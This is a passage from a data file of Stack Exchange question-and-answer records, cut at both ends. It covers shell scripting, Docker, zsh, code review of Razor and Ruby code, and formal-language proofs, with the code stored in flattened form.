pretty nice: for a user of our class method double area() still doesn't modify object it's working on, so it is still const. But inside we gained a lot! Area will be recalculated only when there is need for it. If nobody asks for area it won't be calculated at all!So, as I understand it, const should indicate that as far as class user is concerned method does not modify object. User of our API is usually not interested in implementation details. If he is, then we have documentation :) .But beware: using mutable because it's few lines of code less or something like that is a huge mistake. If you make your method const then keep your word and use mutable with utmost care only! Otherwise you, and users of your code soon will be in big trouble." } { "id": "_unix.165347" , "question": "My problem is pretty simple, but I must admit, I don't know any elegant solution. I have a problem, that I often accidentally click different icon that I wanted. It's really very unpleasant, so I've decided to write a bash script, which will ask me if I really want to launch the program ( especially Eclipse, because it's pretty large and so it takes lots of time to load ). I had written it, then added its location to the eclipse.desktop file... And now there's my problem. The Eclipse launcher works, but if I launch only Terminal, Eclipse icon shows up instead of original Terminal's.Do you know how could I solve this, if I wanted to keep my bash script working?Here is my bash script eclipseLaunch.sh:#!/bin/bashecho Do you really want to launch Eclipse? (yes = y)read answerif [[ $answer = y ]]; then ~/.eclipse/eclipsefiAnd here is my eclipse.desktop file:[Desktop Entry]Type=ApplicationEncoding=UTF-8Name=EclipseExec=gnome-terminal -e bash -c \\~/.eclipse/eclipseLaunch.sh; exec bash\\Icon=/home/martin/.eclipse/icon.xpmTerminal=false" , "title": "Launch BASH script by clicking icon and preserve terminal icon" , "tags": "bash;shell script;icons;desktop file" , "accepted_answer": "Finally I've solved it. After this solution I had to restart PC.I've changed my eclipse.desktop file to this:[Desktop Entry]Type=ApplicationEncoding=UTF-8Name=EclipseExec=bash -c ~/.eclipse/eclipseLaunch.sh; exec bashIcon=/home/martin/.eclipse/icon.xpmTerminal=trueAnd eclipseLaunch.sh to this:#!/bin/bashecho Do you really want to launch Eclipse? (yes = y)read answerif [[ $answer = y ]]; then nohup ~/.eclipse/eclipse &else kill $PPIDfi" } { "id": "_unix.37069" , "question": "What is the difference between the following methods of chaining commands?cmd1; cmd2cmd1 && cmd2" , "title": "What is the difference between && and ; when chaining commands" , "tags": "bash;shell" , "accepted_answer": "Assume there is command1 && command2.In this case command2 will be executed if and only if command1 returned zero exit status.; is just a command separator. Thus command2 will be executed whatever command1 returned.$> [[ a = b ]] && echo ok $> [[ a = b ]]; echo ok ok" } { "id": "_softwareengineering.137340" , "question": "I'm sure we've all been in the situation where we've inherited code that was overly public, becomes obsolete or needs to be refactored. In these situations, it is easy to spend many days analysing the API surface to see where methods or classes are consumed; with the .Net runtime, it seems logical that it should be relatively trivial to map these inter-assembly dependencies, but there doesn't seem to be any tools out there that do this already?For example, let's suggest that we have a CRM class library that encapsulates the interface to all the customer data; it's not unreasonable that a quotations application may rely on this, but it seems non-trivial to identify on which bits. A naive approach would be to say that the public interfaces (types, etc.) is the API surface, but it may be the case that some of these interfaces are only public for consumption in a particular use case, that may become invalid.Is it possible to automatically determine and map the inter-assembly dependencies for a given set of assemblies?" , "title": "Is it possible to analyse the API surface of a set of class libraries to automatically determine inter-assembly dependencies?" , "tags": ".net;refactoring;dependency analysis" } { "id": "_unix.282895" , "question": "How to create a collation of images in the format:image_name_1 [IMAGE#1]image_name_2 [IMAGE#2]image_name_3 [IMAGE#3]...Using Imagemagick I can say something like:montage -label '%f' -mode concatenate -tile 1x foo*.png out.pngBut this adds the file name below the image + it does not account for name width.Where the file name is printed (as in conventional cartesian y-axis) is of no concern as far as it is to the left of the correct image.Which tool is of no concern as long as it is available for 32-bit Linux." , "title": "Collate image list with name" , "tags": "scripting;imagemagick;image manipulation" , "accepted_answer": "I'm no ImageMagick expert, so there is probably a better way to do this, but you can do this in 2 steps, first adding the text to the left of each image into an intermediate file, then doing the montage. for file in foo*.pngdo convert $file -splice 100x0 -gravity west -annotate +10+0 '%f' /tmp/$(basename $file)donemontage -mode concatenate -tile 1x /tmp/*.png out.pngYou need to adjust the splice value 100 to be wide enough for your widest filename label. An interesting alternative that uses a single command is convert \\ $(for file in foo*.png do echo '(' label:$(basename $file) -gravity center $file +append ')' done) -gravity west -append out.pngwhere you use +append to join the label and image together horizontally, then -append to join the results vertically. It is not exactly what you need, but could be a starting point for further experimentation." } { "id": "_codereview.57773" , "question": "I've come across the following piece of code in a Razor view<table class=key-left> <tr> <td>Company</td> @foreach (Customer c in Model.SelectedInstallers) { <td>@c.Name</td> } </tr> <tr class=even> <td>Address</td> @foreach (Customer c in Model.SelectedInstallers) { <td> @c.Street<br /> @c.City<br /> @c.County<br /> @c.Postcode </td> } </tr> <tr> <td>Contact Details</td> @foreach (Customer c in Model.SelectedInstallers) { <td> @c.Telephone<br /> @c.Website </td> } </tr> <tr class=even> <td>Remove</td> @foreach (Customer c in Model.SelectedInstallers) { <td><a href=# class=ins-qt-remove remove title=Remove this Installer from your list data-account-no=@c.AccountNumber>Remove installer</a></td> } </tr></table>Now would it better to stay with this code or change it to do one loop with multiple stringbuilders:StringBuilder company = new StringBuilder();StringBuilder address = new StringBuilder();StringBuilder contact = new StringBuilder();StringBuilder remove = new StringBuilder();foreach (Customer customer in Model.SelectedInstallers){ company.AppendFormat(\\n <td class=\\company\\>{0}</td>, customer.Name); address.AppendFormat(\\n <td class=\\address\\>{0}<br />{1}<br />{2}<br />{3}</td>, customer.Street, customer.City, customer.County, customer.Postcode); contact.AppendFormat(\\n <td class=\\contact\\>{0}<br />{1}</td>, customer.Telephone, customer.Website); remove.AppendFormat(\\n <td class=\\remove\\><a href=\\{0}\\ class=\\remove-link\\>Remove<span class=\\hide-element\\> {1} from the list</span></a></td>, removeUrl, customer.Name);}<table id=compamies-list class=rows-@Model.SelectedInstallers.Count> <tr class=first-row> <th scope=row>Company</th> @Html.Raw(company.ToString()) </tr> <tr class=even> <th scope=row>Address</th> @Html.Raw(address.ToString()) </tr> <tr class=odd> <th scope=row>Contact Details</th> @Html.Raw(contact.ToString()) </tr> <tr class=even> <th scope=row>Remove</th> @Html.Raw(remove.ToString()) </tr></table>Or does it not matter if there is only going to be a maximum of ten installers" , "title": "Multiple loops versus multiple stringbuilders" , "tags": "c#;optimization;asp.net mvc 4" , "accepted_answer": "Stay with the first solution:It is easier to read.Using such a template is the least-obfuscated method to generate the output HTML, as the structure of the template directly corresponds to the structure of the output.Another important aspect is that when embedding HTML into C# strings, you have to use many escapes.This makes it harder to read.I would expect the first template to have comparable or better performance.Instead of micro-optimizing, one should usually optimize for maintainability first, and let the compiler do its thing. Before optimizing for performance, do a benchmark to find real bottlenecks.I strongly suspect that the template engine is implemented in a non-moronic way, which means that internally a string builder is used.Your second solution on the other hand incurs additional overhead by maintaining multiple string builders which are then joined to an intermediate string which are then stuffed into the template that intermediate string is unnecessary.But what about having fewer loops? The answer is that it doesn't matter from a theoretical perspective: Executingforeach (x in things) a(x);foreach (x in things) b(x);foreach (x in things) c(x);does the same amount of work asforeach (x in things){ a(x); b(x); c(x);}In practice there is some small overhead per loop, but this overhead is usually negligible when compared with the actual work done inside the loop. Do a benchmark to see if this overhead matters.It appears to be more secure.In your second solution, you directly interpolate arbitary strings into the HTML via AppendFormat.Unless you have very good input validation, this would allow for spectacular injection attacks.Better be safe than sorry, and escape everything.This is much easier if you use the templating engine rather than doing everything yourself it's too easy to forget something.There is another consideration from an UX standpoint:When reading tabular data, I expect each row to contain a record, and columns to contain different fields for that record.This makes such data easy to parse by humans and computers alike.Swapping the axes of your table also means that your template is ever simpler:<table> <tr> <th>Company</th> <th>Address</th> <th>Contact Details</th> <th>Remove</th> </tr> @foreach (Customer c in Model.SelectedInstallers) { <tr> <td> @c.Name </td> <td> @c.Street <br /> @c.City <br /> @c.County <br /> @c.Postcode </td> <td> @c.Telephone<br /> @c.Website </td> <td> <a href=# title=Remove this Installer from your list data-account-no=@c.AccountNumber> Remove installer </a> </td> </tr> }</table>While displaying data row after row scales very well to a large number of records, displaying items horizontally next to each other so that each item occupies a column makes it much easier to compare the data. However, this only scales well up to three items (in my experience), and horizontal scrolling is a big no-no.Some notes regarding the HTML: The headings of columns or rows should use the <th> element. While you do this in the second template, the first template only uses plain <td>s.To style different rows differently, it is tedious to apply classes like first-row, even, or odd.These not only invite name collisions, but can also be done with much less effort via CSS pseudo-classes such as :nth-child:/* tr.first-row */tr:first-child { ... }/* tr.even */tr:nth-child(even) { ... }/* tr.odd */tr:nth-child(odd) { ... }The disadvantage of this solution is that it won't work on older MSIE versions.But in this case this wouldn't be a problem as the functionality of the table is not impaired this is an example of progressive enhancement." } { "id": "_unix.338979" , "question": "I'm a unix admin at a college. I've two web servers. One of them is for faculty and one of them is for the official college web team. The offical web server proxies requests for faculty web pages, so even though they're two separate servers, from the faculty and browser point of view, it appears as one server. In order to save the faculty some confusion, I forward port 22 (using socat) on the official server to the faculty server and make sshd on the the official server listen on a different port. This way, faculty can ssh to mycollege.edu, even though that's the DNS name of the official server. It means the web team gets confused more often, but that's way better than several hundred confused faculty.I use Fail2Ban to keep the brute force ssh logins to a somewhat more manageable quantity. This doesn't work for these two web servers because every ssh connection to the faculty server comes from the official server, and I obviously don't want to block connections from the official server.What I want to do, is find a way to track failed logins across the servers, so I can have the official server block the source IP. The problem is, the official server knows the source IP but not which logins failed and the faculty server knows which logins failed, but not the source IP.I should be able to do this by tracking the source port on the connections between the offical and faculty servers. Official knows source IP of original connection and the source port for the subsequent connection to the faculty server. The faculty server knows the source port from the official server and weather the login failed. Basically, I would keep a log of foreign source IPs and internal source ports on the official (outward facing) server and a log of internal source ports and login failures on the faculty (internal) server. Then I could send the log entries from the faculty server to the official server and the official server could analyze it and firewall as appropriate.SO! Here's my questions:Is this a crazy idea with a much simpler solution?If this isn't crazy, what's the best way to gather that internal source port info? Socat (on external, official host) can log some stuff, but what it appears to call the source port doesn't match anything in connections I'm watching on the internal/faculty host (using tcpdump)." , "title": "tracking proxied TCP connection" , "tags": "ssh;firewall;proxy;tcp;socat" } { "id": "_codereview.91720" , "question": "I recently wrote a name generator that uses a DTMC underneath (I asked about it here) and, since I'm not entirely confident I did it right, I wrote a script to check my code, or at least its output.It works pretty well, but, being new to the language, I want to know how to make it more idiomatic. Performance boosts (in terms of speed and memory efficiency) would also be a plus, but since this is just a simple test script they're not as important.# arguments: '-dDELIMITER'if ARGV[0] == '-h' [ 'Should be used in the form:', '<invocation of name_gen.rb> | <ruby> name_gen_test.rb -d<delimiter>', 'The delimiter MUST be specified in name_gen.rb and it MUST NOT be ``.' ].each { |line| puts line }endDELIMITER = ARGV[0] || abort('You must specify a delimiter as the sole command-line argument')connections = Hash.new { |hash, key| hash[key] = Hash.new 0 }start = Hash.new 0until (cur_line = STDIN.gets).nil? cur_line.chomp! individual_syllables = cur_line.split DELIMITER individual_syllables.each_with_index { |from, index| start[from] += 1 if index == 0 connections[from][individual_syllables[index + 1] || !!false] += 1 }end# % of start per syllable# % of connections to each syllable it connected toputs 'Start:'total_start_count = start.values.inject(:+).to_fmax_len = start.keys.inject (0) { |memo, cur| (cur.length > memo) ? cur.length : memo}start.each { |text, percent| puts #{text.ljust max_len} : #{(percent * 100 / total_start_count).round.to_i}% # Get the percent -> Truncate -> convert to string -> justify}putsEND_MARKER = '[end]'puts 'Connections:'connections.each { |from, links| total_connection_count = links.values.inject(:+).to_f max_len = links.keys.inject(END_MARKER.length) { |memo, cur| ((cur ? cur : '').length > memo) ? cur.length : memo } puts #{from}: links.each { |to, probability| next unless to puts #{to.ljust max_len} : #{(probability * 100 / total_connection_count).round.to_i}% } puts #{END_MARKER} : #{(links[false] * 100 / total_connection_count).round.to_i}%}This is the name generator; this script is meant to be used something like this (on Windows, at least):ruby name_gen.rb dict.txt 10000 -d_ | ruby name_gen_test.rb _if the dictionary of syllables is located at 'dict.txt'.Here's an example dictionary file:a|1|1|b,2;c,2b|0|3|a,0;c,2c|0|0|a,1;b,1And an example output for the script:Start: a : 100%Connections: a: c : 40% b : 40% [end] : 20% c: a : 50% b : 50% [end] : 0% b: c : 40% [end] : 60%For anyone interested, the final code is available here. " , "title": "Analyzer for randomly generated names" , "tags": "ruby" , "accepted_answer": "The ruby style guide suggests to use 2 spaces per indentation level.You can use heredocs for multi-line strings, keep in mind that they preserve white space, here is a nice trick that could be used:help = <<-END.gsub(/^\\s+\\|/, '') |Should be used in the form:, |<invocation of name_gen.rb> | <ruby> name_gen_test.rb -d<delimiter>, |The delimiter MUST be specified in name_gen.rb and it MUST NOT be ``. ENDhelp.each_line { |line| puts line }for multiline blocks please use do...end instead of {...}:individual_syllables.each_with_index do |from, index|start[from] += 1 if index == 0connections[from][individual_syllables[index + 1] || !!false] += endI don't understand why you use !!false, since !!false == false. Also I don't think it is needed here.Do not put a space between a method name and the opening parenthesis:max_len = start.keys.inject (0)Avoid nested ternary operators, it makes the code hard to understand.((cur ? cur : '').length > memo) ? cur.length : memo# becomescur ||= ''[cur.length, memo].max" } { "id": "_ai.221" , "question": "Currently, many different organizations do cutting-edge AI research, and some innovations are shared freely (at a time lag) while others are kept private. I'm referring to this state of affairs as 'multipolar,' where instead of there being one world leader that's far ahead of everyone else, there are many competitors who can be mentioned in the same breath. (There's not only one academic center of AI research worth mentioning, there might be particularly hot companies but there's not only one worth mentioning, and so on.)But we could imagine instead there being one institution that mattered when it comes to AI (be it a company, a university, a research group, or a non-profit). This is what I'm referring to as monolithic. Maybe they have access to tools and resources no one else has access to, maybe they attract the best and brightest in a way that gives them an unsurmountable competitive edge, maybe returns to research compound in a way that means early edges can't be overcome, maybe they have some sort of government coercion preventing competitors from popping up. (For other industries, network or first-mover effects might be other good examples of why you would expect that industry to be monolithic instead of multipolar.)It seems like we should be able to use insights from social sciences like economics or organizational design or history of science in order to figure out, if not which path seems more likely, how we would know which path seems more likely.(For example, we may be able to measure how much returns to research compound, in the sense of one organization coming up with an insight meaning that organization is likely to come up with the next relevant insight, and knowing this number makes it easier to figure out where the boundary between the two trajectories is located.)" , "title": "How would we know if AI development will continue to be multipolar, or will become monolithic?" , "tags": "research;ai community" } { "id": "_cs.32114" , "question": "BACKGROUND:Recently I tried to solve a certain difficult problem that gets as input an array of $n$ numbers. For $n=3$, the only solution I could find was to have a different treatment for each of the $n!=6$ orderings of the 3 numbers. I.e., there is one solution for the case $A>B>C$, another solution for $A>C>B$, etc. (the case $A>C=B$ can be solved by any one of these two solutions).Thinking of the case $n=4$, it seems that the only way is, again, to consider all $n!=24$ different orderings and develop a different solution for each case. While the solution in each particular case is fast, the program itself would be very large. So the runtime complexity of the problem is small, but the development time complexity or the program size complexity is very large. This prompted me to try and prove that my problem cannot be solved by a short program. So I looked for references for similar proofs.The first concept that I found is Kolmogorov complexity; however, the information I found about this topic is very general and includes mostly existence results. QUESTION:Can you describe a specific, real-life problem $P$, such that any program solving $P$ on an input array of size $n$ must have a size of at least $\\Omega(f(n))$, where $f(n)$ is some increasing function of $n$?Since the answer obviously depends on the selection of programming language, assume that we program in Java, or in a Turing machine - whichever is more comfortable for you.Every undecidable problem trivially satisfies this requirement because it has no solution at all. So I am looking for a decidable language." , "title": "What problem cannot be solved by a short program?" , "tags": "complexity theory;programming languages;kolmogorov complexity" , "accepted_answer": "I assume that what you actually want is an enumeration of problems suchthat the corresponding programs form an increasing sequence in size.Here is an exemple of such an enumeration.However, I only prove that the size increases beyond any bound, hence it is not in $O(1)$, whichseemed to be your main point. I could try better, but I am wonderingwhat in this answer might not be acceptable in your view of the question.If I understand correctly, you want an enumeration $P_n$ of problems thatare all decidable with an algorithm $A_n$, such that there is nouniform decision procedure for the union of these problems, because ifthere was one, it would be a short program when $n$ gets large,i.e. it would be $O(1(n))$.That implies that the enumeration $A_n$ is not computable. If it werecomputable, the one would be able to compute the algorithm $A_n$ fromthe knowledge of $n$, thus having a uniform procedure for the union ofall the problems in the enumeration.Hence we can only look for examples such that there is no computableenumeration $A_n$ of algorithms such that $A_n$ solves $P_n$.Before going into that, we need to define the size of a Let $T_n$ be a enumeration by Gdel numbers $n$ ofTuring Machines. Such a Gdel enumeration is computable. Then let $P_n$ be thefollowing problem: if $T_n$ halts on all inputs, then $P_n$ consistsin recognizing the recursive set recognized by $T_n$, else $P_n$ consistsin recognizing the empty set $\\emptyset$.Since we are looking for lower bounds on the size of the algorithm$A_n$ that solves $P_n$, we have to define the size of a TM. For a TM,its Gdel number can be taken as the size of the machine, i.e. thecorresponding algorithm. Indeed the number of states and transitionsincreases necessarly with $n$, if only because of the pigeon holeprinciple, though it is not necessarily uniform (and it depends on anarbitrary definition of size anyway).Then, for any TM $T_n$ that always halt, we note ${\\mu(n)}$ the smallest Gdelnumber of a TM $T_{\\mu(n)}$ such that it always halt and recognizes thesame recursive set as $T_n$. Hence $T_{\\mu(n)}$ is the smallest TM thatactually is an algorithms to solve $P_n$, i.e. it is $A_n$. If $T_n$may not halt, then for $A_n$ we simply use always an algorithmcorresponding to a TM $T_\\emptyset$ the recognizes theset $\\emptyset$, always the same one.Each problem $P_n$ is decidable, and $A_n$ is a decision procedure.However, the enumeration $A_n$ is not computable, but we have shownthat it is unavoidable.It is easy to show that, given any constant $C$, there is an $n$ suchthat the size $|A_n|$ of $A_n$ is greater than $C$. The reason issimply that the number of machines smaller than $C$ is finite, whilethe number of recursive sets recognized by TMs is infinite.So that is an example of a problem (more precisely a problemenumeration) that cannot be solved by a short program, i.e. such thatthere is no constant bound on the length of solutions for each $P_n$.We can always add to each problem $P_n$ that it requires any solutionto first read an array of size $n$, so as to meet the constraint inthe question. But there is little point to it." } { "id": "_cs.20042" , "question": "Let $A$ and $B$ be regular languages. Let $C$ be their difference, i.e $C = B \\setminus A$.Given NFAs for $A$ and $B$, is it possible to directly construct an NFA for $C$ without (implicitly or explicitly) converting them to DFAs first?" , "title": "Direct construction of NFA for the difference of regular languages" , "tags": "automata;finite automata" , "accepted_answer": "The short answer is yes.Probably the easiest way to explain it is with an example; turning this into a formal algorithm should be straightforward.The first NFA, $M$, accepts the language $(a\\cup b)^*$:$$q_0 = \\epsilon \\cup a q_0 \\cup b q_0$$with the start state being $q_0$.This is probably not notation that you're used to, but the reason for using this will become clear soon; it's basically saying the same thing as the context-free grammar:$$ S \\rightarrow \\epsilon $$$$ S \\rightarrow a S $$$$ S \\rightarrow b S $$You can see how this is also a description of a NFA. Each term on the right-hand side is either a transition $aq_i$, which means read an $a$ and go to state $q_i$, or $\\epsilon$ which means that the state is a final state.The second NFA, $M$, accepts the language $(a\\cup b)^*aa(a\\cup b)^*$, that is, any string which contains $aa$. The start state is $q_1$; I've used unique state names for reasons that will become obvious in a moment. I deliberately picked an NFA which has some nondeterminism just to show that this works for that case.$$q_1 = a q_1 \\cup b q_1 \\cup a q_2$$$$q_2 = a q_3$$$$q_3 = \\epsilon \\cup a q_3 \\cup a q_3$$We would like to construct a NFA which accepts the language:$$Q_0 = q_0 \\setminus q_1$$expanding one level gives:$$Q_0 = (\\epsilon \\cup a q_0 \\cup b q_0) \\setminus (a q_1 \\cup b q_1 \\cup a q_2)$$$$ = \\epsilon \\cup a (q_0 \\setminus (q_1 \\cup q_2)) \\cup b (q_0 \\setminus q_1)$$$$ = \\epsilon \\cup a Q_1 \\cup b Q_0$$where:$$Q_1 = q_0 \\setminus (q_1 \\cup q_2)$$Note that we already had a state which handled the $b$ transition correctly. For the $a$ transition, we didn't, so we introduced one.We continue:$$Q_1 = q_0 \\setminus (q_1 \\cup q_2)$$$$= (\\epsilon \\cup a q_0 \\cup b q_0) \\setminus (a q_1 \\cup b q_1 \\cup a q_2 \\cup a q_3)$$$$= \\epsilon \\cup a (q_0 \\setminus (q_1 \\cup q_2 \\cup q_3)) \\cup b (q_0 \\cup q_1)$$$$= \\epsilon \\cup a Q_2 \\cup b Q_0$$where:$$Q_2 = q_0 \\setminus (q_1 \\cup q_2 \\cup q_3)$$continuing again, going a little more slowly this time:$$Q_2 = q_0 \\setminus (q_1 \\cup q_2 \\cup q_3)$$$$= (\\epsilon \\cup a q_0 \\cup b q_0) \\setminus ((a q_1 \\cup b q_1 \\cup a q_2) \\cup (a q_3) \\cup (\\epsilon \\cup a q_3 \\cup b q_3))$$$$= a (q_0 \\setminus (q_1 \\cup q_3)) \\cup b (q_0 \\setminus (q_1 \\cup q_3))$$$$= a Q_2 \\cup b Q_2$$Note that we used the fact that $\\epsilon \\setminus \\epsilon = \\varnothing$.So in summary, we have the following NFA with start symbol $Q_0$:$$Q_0 = \\epsilon \\cup a Q_1 \\cup b Q_0$$$$Q_1 = \\epsilon \\cup a Q_2 \\cup b Q_0$$$$Q_2 = a Q_2 \\cup b Q_2$$You can verify for yourself that this accepts the language.There are several things to notice about this.First off, the process must terminate; there are only a finite number of possible transition states which could be created.Secondly, the running time could be exponential in the worst case; each transition state is of the form $\\bigcup_i q_i \\setminus \\bigcup_j q_j$ where the left-hand side of the set minus is a subset of the states from the first machine and the right-hand side is the same for the second machine. There is a finite number of such subsets, but there could be exponentially many in general, and sometimes there will be. And the reason is......the final answer is a DFA! It's not hard to see that this will always be the case. Your question only asked for a method that didn't convert the two NFAs to DFAs first, and you never said anything about not constructing a DFA for the final answer.Basically what we've done here is folded the NFA-to-DFA conversion algorithm together with the DFA difference algorithm, so one algorithm does both. I think this satisfies the requirements of your question." } { "id": "_softwareengineering.17843" , "question": "I read few articles on web to find out how Agile, XP, Scrum, pair programming are different from each other / related to each other and I derived the following line:Scrum and XP are almost same. XP has shorter period of releases than ScrumPair programming is employed in both Agile and XP methodologiesBut I was unable to identify how Agile is different from XP.More than providing a URL, I would be happy to read your experience and thoughts on this." , "title": "How is Agile different from XP?" , "tags": "project management;agile;scrum;pair programming;extreme programming" , "accepted_answer": "You are confusing the issue. Being agile means that you are following a bunch of values and practices from the agile manifesto. Thats it. XP and Scrum are development processes that follows those values. Both are just as agile. The big difference between Scrum and XP is that Scrum does not contain practices specifically for programming, whereas XP has lots of them (TDD, continuous integration, pair programming). " } { "id": "_unix.195975" , "question": "With this Dockerfile:FROM php:5.4-fpmRUN apt-get -qqy update \\ && apt-get -qqy install git \\ libcurl4-gnutls-dev \\ libmcrypt-dev \\ libpng12-dev \\ libxml2-dev \\ libxslt-dev \\ && docker-php-ext-install curl \\ bcmath \\ gd \\ mcrypt \\ mysql \\ soap \\ xsl \\ zip \\ && rm -rf /var/lib/apt/listsI get the error rm: cannot remove '/var/lib/apt/lists': Directory not emptyBut if I separate out the rm into another RUN statement, suddenly the error goes away.FROM php:5.4-fpmRUN apt-get -qqy update \\ && apt-get -qqy install git \\ libcurl4-gnutls-dev \\ libmcrypt-dev \\ libpng12-dev \\ libxml2-dev \\ libxslt-dev \\ && docker-php-ext-install curl \\ bcmath \\ gd \\ mcrypt \\ mysql \\ soap \\ xsl \\ zipRUN rm -rf /var/lib/apt/listsrm is just /bin/rm in the php:5.4-fpm container. Why is docker build unable to remove /var/lib/apt/lists in the first case, and why is it exiting with a nonzero exit status even with the -f flag?" , "title": "Cannot (force) remove directory in Docker build" , "tags": "rm;docker" , "accepted_answer": "According to the Docker development discussion this is the number 1 known issue in the Docker docs. Here is the current release note reference.Unexpected File Permissions in Containers An idiosyncrasy in AUFS prevents permissions from propagating predictably between upper and lower layers. This can cause issues with accessing private keys, database instances, etc. For complete information and workarounds see Github Issue 783.The mentioned workaround can be found on Github here" } { "id": "_unix.306481" , "question": "How can I setup a Bacula job so that when it writes its files, it only writes to tapes that are completely empty? For this particular job, I don't want it to share any tapes with other backup jobs." , "title": "Tell Bacula to use only empty tapes" , "tags": "backup;bacula" } { "id": "_codereview.36275" , "question": "This is roughly what my data file looks like:# Monid U B V R I u g r i J Jerr H Herr K Kerr IRAC1 I1err IRAC2 I2err IRAC3 I3err IRAC4 I4err MIPS24 M24err SpT HaEW mem compMon-000001 99.999 99.999 21.427 99.999 18.844 99.999 99.999 99.999 99.999 16.144 99.999 15.809 0.137 16.249 99.999 15.274 0.033 15.286 0.038 99.999 99.999 99.999 99.999 99.999 99.999 null 55.000 1 NMon-000002 99.999 99.999 20.905 19.410 17.517 99.999 99.999 99.999 99.999 15.601 0.080 15.312 0.100 14.810 0.110 14.467 0.013 14.328 0.019 14.276 0.103 99.999 0.048 99.999 99.999 null -99.999 2 N...and it's a total of 31mb in size. Here's my python script that pulls the Mon-###### IDs (found at the beginning of each of the lines).import redef pullIDs(file_input): '''Pulls Mon-IDs from input file.''' arrayID = [] with open(file_input,'rU') as user_file: for line in user_file: arrayID.append(re.findall('Mon\\-\\d{6}',line)) return arrayIDprint pullIDs(raw_input(Enter your first file: ))The script works but for this particular file it ran for well into 5 minutes and I eventually just killed the process due to impatience. Is this just something I'll have to deal with in python? i.e. Should this be written with a compiled language considering the size of my data file?Further info: This script is being run within Emacs. This, by the checked answer, explains why it was running so slow." , "title": "Why is this program for extracting IDs from a file so slow?" , "tags": "python;optimization;array" , "accepted_answer": "You said in comments that you don't know how to create a self-contained test case. But that's really easy! All that's needed is a function like this:def test_case(filename, n): Write n lines of test data to filename. with open(filename, 'w') as f: for i in range(n): f.write('Mon-{0:06d} {1}\\n'.format(i + 1, ' 99.999' * 20))You can use this to make a test case of about the right size:>>> test_case('cr36275.data', 200000)>>> import os>>> os.stat('cr36275.data').st_size34400000That's about 34 MiB so close enough. Now we can see how fast your code really is, using the timeit module:>>> from timeit import timeit>>> timeit(lambda:pullIDs('cr36275.data'), number=1)1.3354740142822266Just over a second. There's nothing wrong with your code or the speed of Python.So why does it take you many minutes? Well, you say that you're running it inside Emacs. That means that when you run>>> pullIDs('cr36275.data')Python prints out a list of 200,000 ids, and Emacs reads this line of output into the *Python* buffer and applies syntax highlighting rules to it as it goes. Emacs' syntax highlighting code is designed to work on lines of source code (at most a few hundred characters but mostly 80 characters or less), not on lines of output that are millions of characters long. This is what is taking all the time.So don't do that. Read the list of ids into a variable and if you need to look at it, use slicing to look at bits of it:>>> ids = pullIDs('cr36275.data')>>> ids[:10][['Mon-000001'], ['Mon-000002'], ['Mon-000003'], ['Mon-000004'], ['Mon-000005'], ['Mon-000006'], ['Mon-000007'], ['Mon-000008'], ['Mon-000009'], ['Mon-000010']]" } { "id": "_unix.97017" , "question": "I'm trying to configure zsh to closely fit how bash behaves before I fully switch, and one behavior I'm trying to modify in zsh is when it inserts a Tab character.I see how it could be helpful for writing functions interactively, but I prefer bash's behavior of listing the directory contents. Ideally, I would like to cycle through the directories using a menu, but my main priority is to list directories like Bash after one or two Tab presses instead of inserting a Tab.I did try to look this up, but everything I found only pertained to disabling Tab Completion entirely.EDIT: I mistakenly thought bash's default completion on empty input was to list the directory when I posted this, I feel like it may have caused some confusion with what I was asking.My main objective is to prevent zsh from inserting a Tab when there is only whitespace." , "title": "Zsh - Disable Tab Insert" , "tags": "zsh;keyboard shortcuts" , "accepted_answer": "Setting the insert-tab tag to false will prevent a tab from being inserted when there are no characters to the left of the cursor.zstyle ':completion:*' insert-tab false " } { "id": "_cs.48256" , "question": "Given the language $L = \\{w \\in \\{a,b\\}^* \\, | \\, |w| = n \\cdot \\sqrt{n} \\text{ and } n \\geq 42\\}$ and the assignement to proof that $L \\notin CFL$ with the Pumping lemma. Assuming $L \\in CFL$, would it be possible to start with defining a language $L' := L \\cap a^+$ which has to be context-free since $CFL$ is closed under intersection with $REG$. Now I would have to proof that $L' = \\{w \\in a^+ \\, | \\, |w| = n \\cdot \\sqrt{n} \\text{ and } n \\geq 42\\}$ isn't regular because the alphabet contains only one symbol. Let $k$ be the constant of the Pumping lemma and $m > k$ and $m > 42$. So $z = a^{m^2\\cdot\\sqrt{m^2}} = a^{m^3} \\in L'$.$|z| = |uvw| = m^3 ...$ How to continue?" , "title": "Proof that a given language is not context-free" , "tags": "context free;pumping lemma" , "accepted_answer": "You're off to a good start. You recognize that all you have to do is show that the language $L'$ isn't regular. You let $k$ be the integer of the PL and choose an integer $m$ with $m>k$ and $m>42$ so you choose to pump the string $z=a^{m^3}$. Write this as $uvw$ with $|v|=t$ and $0<t<k$. Now we'll have $|uv^2w|=m^3+t<m^3+m$. This string can't be in $L'$ since it's strictly smaller than the next largest string in $L'$, namely the one with length $(m+1)^3$, since obviously $$m^3+m<m^3+3m^2+3m+1$$Since $L'$ isn't regular, $L$ can't be a CFL." } { "id": "_unix.378121" , "question": "I have a bash script that will execute a script of my choosing against a server over ssh. My problem is that I also want to use an input file with common variables so I don't have to change them in each script. So far my attempts at getting it to source the two files have resulted in it trying to find one of them on the remote machine.inputJBLGSMR002,IP.IP.IP.IP,root,pers,perssourcelist#!/bin/bashvar1=Some stuffvar2=Some stuff 2Script#!/bin/bash##set -xinput=/home/jbutryn/Documents/scripts/shell/input/nodelist.csvsourcelist=/home/jbutryn/Documents/scripts/shell/Tools/slisttools=/home/jbutryn/Documents/scripts/shell/Tools#is.there () { if grep -wF $1 $2 > /dev/null 2>&1 ; then echo true else echo false fi}#nodethere=$(is.there $1 $input)#if [[ $nodethere = true ]]; then ipconn=$(awk -F ',' '/'$1'/ {print $2}' $input) usrconn=$(awk -F ',' '/'$1'/ {print $3}' $input)elif [[ $nodethere = false ]]; then echo Couldn't find $1 in database exit 1fi#if [[ -f $tools/$2 ]]; then echo Please enter your password for $1: read -s SSHPASS eval export SSHPASS='$SSHPASS' sshpass -e ssh $usrconn@$ipconn < $tools/$2elif [[ ! -f $tools/$2 ]]; then echo Couldn't find $2 script in the Tools exit 1fiI have this test script to see if it's passing the variables to the remote machine:Test Script#!/bin/bash#touch testlogecho $var1 >> ./testlogecho $var2 >> ./testlogAnd this is what I've tried so far to get the sourcelist to pass through:if [[ -f $tools/$2 ]]; then echo Please enter your password for $1: read -s SSHPASS eval export SSHPASS='$SSHPASS' sshpass -e ssh $usrconn@$ipconn < $sourcelist; $tools/$2This one will create a blank testlog file on the local machineif [[ -f $tools/$2 ]]; then echo Please enter your password for $1: read -s SSHPASS eval export SSHPASS='$SSHPASS' sshpass -e ssh $usrconn@$ipconn <'EOF' source $sourcelist bash $tools/$2 logout EOFThis one will create a blank testlog file 